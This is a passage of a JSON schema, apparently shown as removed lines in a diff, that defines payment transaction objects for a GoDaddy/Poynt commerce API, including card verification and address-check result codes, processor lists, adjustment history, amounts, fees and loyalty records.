"UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } - } - }, - "batchAutoClosedByHost": { - "type": "string" - }, - "batchId": { - "type": "string", - "description": "The ID of the settlement batch that this transaction is assigned to.", - "maxLength": 64 - }, - "cardToken": { - "type": "string", - "maxLength": 256 - }, - "cvActualResult": { - "type": "string" - }, - "cvResult": { - "description": "The card verification results.", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "debitResponseCode": { - "type": "string" - }, - "echeckProcessor": { - "description": "eCheck(electronic payment funded by the buyer's bank account) processor used by the business.", - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "issuerResponseCode": { - "type": "string" - }, - "pinSessionKey": { - "type": "string" - }, - "processedAt": { - "type": "string", - "format": "date-time", - "description": "Date / time of transaction received by the processor host." - }, - "processor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "providerVerification": { - "description": "Object that carries provider verification related fields.", - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." - }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } - } - }, - "ps2000Data": { - "type": "string", - "description": "Payment Service 2000 data to process a secondary transaction" - }, - "retrievalRefNum": { - "type": "string", - "maxLength": 64 - }, - "scaResult": { - "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure.", - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - }, - "status": { - "description": "Possible values are Successful or Failure.", - "enum": [ - "Successful", - "Failure" - ], - "type": "string" - }, - "statusCode": { - "type": "string", - "description": "Will be 1 if status is Successful. If status is Failure, it will be whatever statusCode came from the acquirer.", - "maxLength": 64 - }, - "statusMessage": { - "type": "string", - "description": "Will be whatever message came back from the acquirer.", - "maxLength": 512 - }, - "transactionId": { - "type": "string", - "description": "The transactionID that came back from the acquirer.", - "maxLength": 64 - } - } - } - } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "format": "int64", - "description": "Remaining balance amount" - }, - "legacyProcessorData": { - "deprecated": true, - "description": "Process response data used by legacy system", - "$id": "https://poynt.godaddy.com/schemas/transaction/processor-response-metadata.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "x-legacy": true, - "$defs": { - "LegacyAVSResult": { - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } - } - }, - "LegacyAVSResultType": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "LegacyCVResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "LegacyECheckProcessor": { - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessorStatus": { - "type": "string", - "enum": [ - "Successful", - "Failure" - ] - }, - "LegacyProviderVerification": { - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." - }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } - }, - "description": "Provider verification fields." - }, - "LegacyStrongCustomerAuthenticationResult": { - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - } - }, - "type": "object", - "properties": { - "acquirer": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "adapterId": { - "type": "string" - }, - "adapterVariant": { - "type": "string" - }, - "avsResult": { - "description": "The address verification results.", - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } - } - }, - "batchAutoClosedByHost": { - "type": "string" - }, - "batchId": { - "type": "string", - "description": "The ID of the settlement batch that this transaction is assigned to.", - "maxLength": 64 - }, - "cardToken": { - "type": "string", - "maxLength": 256 - }, - "cvActualResult": { - "type": "string" - }, - "cvResult": { - "description": "The card verification results.", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "debitResponseCode": { - "type": "string" - }, - "echeckProcessor": { - "description": "eCheck(electronic payment funded by the buyer's bank account) processor used by the business.", - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "issuerResponseCode": { - "type": "string" - }, - "pinSessionKey": { - "type": "string" - }, - "processedAt": { - "type": "string", - "format": "date-time", - "description": "Date / time of transaction received by the processor host." - }, - "processor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "providerVerification": { - "description": "Object that carries provider verification related fields.", - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." - }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } - } - }, - "ps2000Data": { - "type": "string", - "description": "Payment Service 2000 data to process a secondary transaction" - }, - "retrievalRefNum": { - "type": "string", - "maxLength": 64 - }, - "scaResult": { - "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure.", - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - }, - "status": { - "description": "Possible values are Successful or Failure.", - "enum": [ - "Successful", - "Failure" - ], - "type": "string" - }, - "statusCode": { - "type": "string", - "description": "Will be 1 if status is Successful. If status is Failure, it will be whatever statusCode came from the acquirer.", - "maxLength": 64 - }, - "statusMessage": { - "type": "string", - "description": "Will be whatever message came back from the acquirer.", - "maxLength": 512 - }, - "transactionId": { - "type": "string", - "description": "The transactionID that came back from the acquirer.", - "maxLength": 64 - } - } - } - } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, - "properties": { - "processorType": { - "type": "string", - "description": "Discriminator field representing the type of processor response" - } - }, - "required": [ - "processorType" - ] - }, - "reason": { - "type": "object", - "description": "Reason for this adjustment.", - "properties": { - "program": { - "type": "string", - "enum": [ - "NO_SHOW", - "PURCHASE", - "CARD_DEPOSIT", - "DELAYED_CHARGE", - "EXPRESS_SERVICE", - "ASSURED_RESERVATION" - ], - "description": "The reason for the transaction - currently only applicable for lodging." - }, - "programFor": { - "description": "Some programs require this additional programFor list to be populated.", - "type": "array", - "items": { - "type": "string", - "enum": [ - "RESTAURANT", - "GIFT_SHOP", - "MINI_BAR", - "TELEPHONE", - "LAUNDRY", - "OTHER" - ] - } - } - } - }, - "sequence": { - "type": "integer", - "description": "This field indicates the sequence in which this AdjustmentRecord happened in the adjustment history." - }, - "signature": { - "format": "byte", - "type": "string" - }, - "signatureCaptured": { - "type": "boolean", - "description": "Shows whether signature was captured for this adjustment." - }, - "systemTraceAuditNumber": { - "type": "string" - }, - "transactionNumber": { - "type": "string" - } - }, - "description": "This object shows a summary of the adjustment." - }, - "LegacyPoyntLoyalty": { - "type": "object", - "properties": { - "externalId": { - "type": "string" - }, - "loyalty": { - "type": "array", - "items": { - "type": "object", - "properties": { - "businessLoyaltyId": { - "type": "integer", - "format": "int64" - }, - "campaignDescription": { - "type": "string" - }, - "campaignName": { - "type": "string" - }, - "lastIncrement": { - "type": "integer", - "format": "int64" - }, - "loyaltyType": { - "type": "string" - }, - "loyaltyUnit": { - "type": "string" - }, - "nextTier": { - "type": "string" - }, - "points": { - "type": "integer", - "format": "int64" - }, - "pointsRequired": { - "type": "integer", - "format": "int64" - }, - "rewardDescription": { - "type": "string" - }, - "tier": { - "type": "string" - }, - "totalPoints": { - "type": "integer", - "format": "int64" - }, - "totalSpend": { - "type": "integer", - "format": "int64" - }, - "totalVisits": { - "type": "integer", - "format": "int64" - } - } - } - }, - "loyaltyId": { - "type": "integer", - "format": "int64" - }, - "reward": { - "type": "array", - "items": { - "type": "object", - "properties": { - "businessLoyaltyId": { - "type": "integer", - "format": "int64" - }, - "expireAt": { - "type": "string", - "format": "date-time" - }, - "newReward": { - "type": "boolean" - }, - "postText": { - "type": "string" - }, - "preText": { - "type": "string" - }, - "rewardDescription": { - "type": "string" - }, - "rewardId": { - "type": "integer", - "format": "int64" - }, - "status": { - "type": "string" - }, - "type": { - "type": "string" - }, - "value": { - "type": "integer", - "format": "int64" - } - } - } - } - } - }, - "LegacyPoyntLoyaltyCampaign": { - "type": "object", - "properties": { - "businessLoyaltyId": { - "type": "integer", - "format": "int64" - }, - "campaignDescription": { - "type": "string" - }, - "campaignName": { - "type": "string" - }, - "lastIncrement": { - "type": "integer", - "format": "int64" - }, - "loyaltyType": { - "type": "string" - }, - "loyaltyUnit": { - "type": "string" - }, - "nextTier": { - "type": "string" - }, - "points": { - "type": "integer", - "format": "int64" - }, - "pointsRequired": { - "type": "integer", - "format": "int64" - }, - "rewardDescription": { - "type": "string" - }, - "tier": { - "type": "string" - }, - "totalPoints": { - "type": "integer", - "format": "int64" - }, - "totalSpend": { - "type": "integer", - "format": "int64" - }, - "totalVisits": { - "type": "integer", - "format": "int64" - } - } - }, - "LegacyPoyntLoyaltyReward": { - "type": "object", - "properties": { - "businessLoyaltyId": { - "type": "integer", - "format": "int64" - }, - "expireAt": { - "type": "string", - "format": "date-time" - }, - "newReward": { - "type": "boolean" - }, - "postText": { - "type": "string" - }, - "preText": { - "type": "string" - }, - "rewardDescription": { - "type": "string" - }, - "rewardId": { - "type": "integer", - "format": "int64" - }, - "status": { - "type": "string" - }, - "type": { - "type": "string" - }, - "value": { - "type": "integer", - "format": "int64" - } - } - } - }, - "properties": { - "actionVoid": { - "type": "boolean" - }, - "adjusted": { - "type": "boolean", - "description": "This is a response only field. This flag will be present on the transaction that was adjusted and its parents. Most processors only allow adjustment on an Authorize transaction, but some do allow adjustment on Sale or Capture too." - }, - "adjustmentHistory": { - "description": "If the transaction has been adjusted (aka updated), this list will show the details of the updates.", - "type": "array", - "items": { - "type": "object", - "properties": { - "amountChanges": { - "description": "Total amount change in this adjustment.", - "$id": "https://godaddy.com/schemas/commerce/transaction/amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/simple-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "description": "Simple amount used for processing transaction", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Transaction amount" - }, - "currency": { - "description": "Transaction currency", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/detailed-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "description": "Itemized amount details used for processing transaction", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/transaction/tip-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "format": "int64", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/transaction/fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "description": "Fee associated with transaction", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/simple-fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Fee", - "type": "object", - "description": "Simple fee associated with transaction", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/governed-fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Governed Fee", - "description": "Governed fee associated with transaction", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "programType": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "type": { - "type": "string", - "example": "FIXED", - "description": "How the fee should be appliedbinary", - "enum": [ - "FIXED", - "HYBRID", - "PERCENTAGE" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true, - "x-propagation": { - "optional": true - }, - "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore" - } - }, - "required": [ - "amount", - "programType", - "type" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - }, - "required": [ - "amountType" - ] - }, - "amounts": { - "description": "Total amount after this adjustment.", - "$id": "https://godaddy.com/schemas/commerce/transaction/amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/simple-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "description": "Simple amount used for processing transaction", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Transaction amount" - }, - "currency": { - "description": "Transaction currency", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/detailed-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "description": "Itemized amount details used for processing transaction", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/transaction/tip-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "format": "int64", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/transaction/fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "description": "Fee associated with transaction", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/simple-fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Fee", - "type": "object", - "description": "Simple fee associated with transaction", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/governed-fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Governed Fee", - "description": "Governed fee associated with transaction", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "programType": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "type": { - "type": "string", - "example": "FIXED", - "description": "How the fee should be appliedbinary", - "enum": [ - "FIXED", - "HYBRID", - "PERCENTAGE" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true, - "x-propagation": { - "optional": true - }, - "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore" - } - }, - "required": [ - "amount", - "programType", - "type" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, 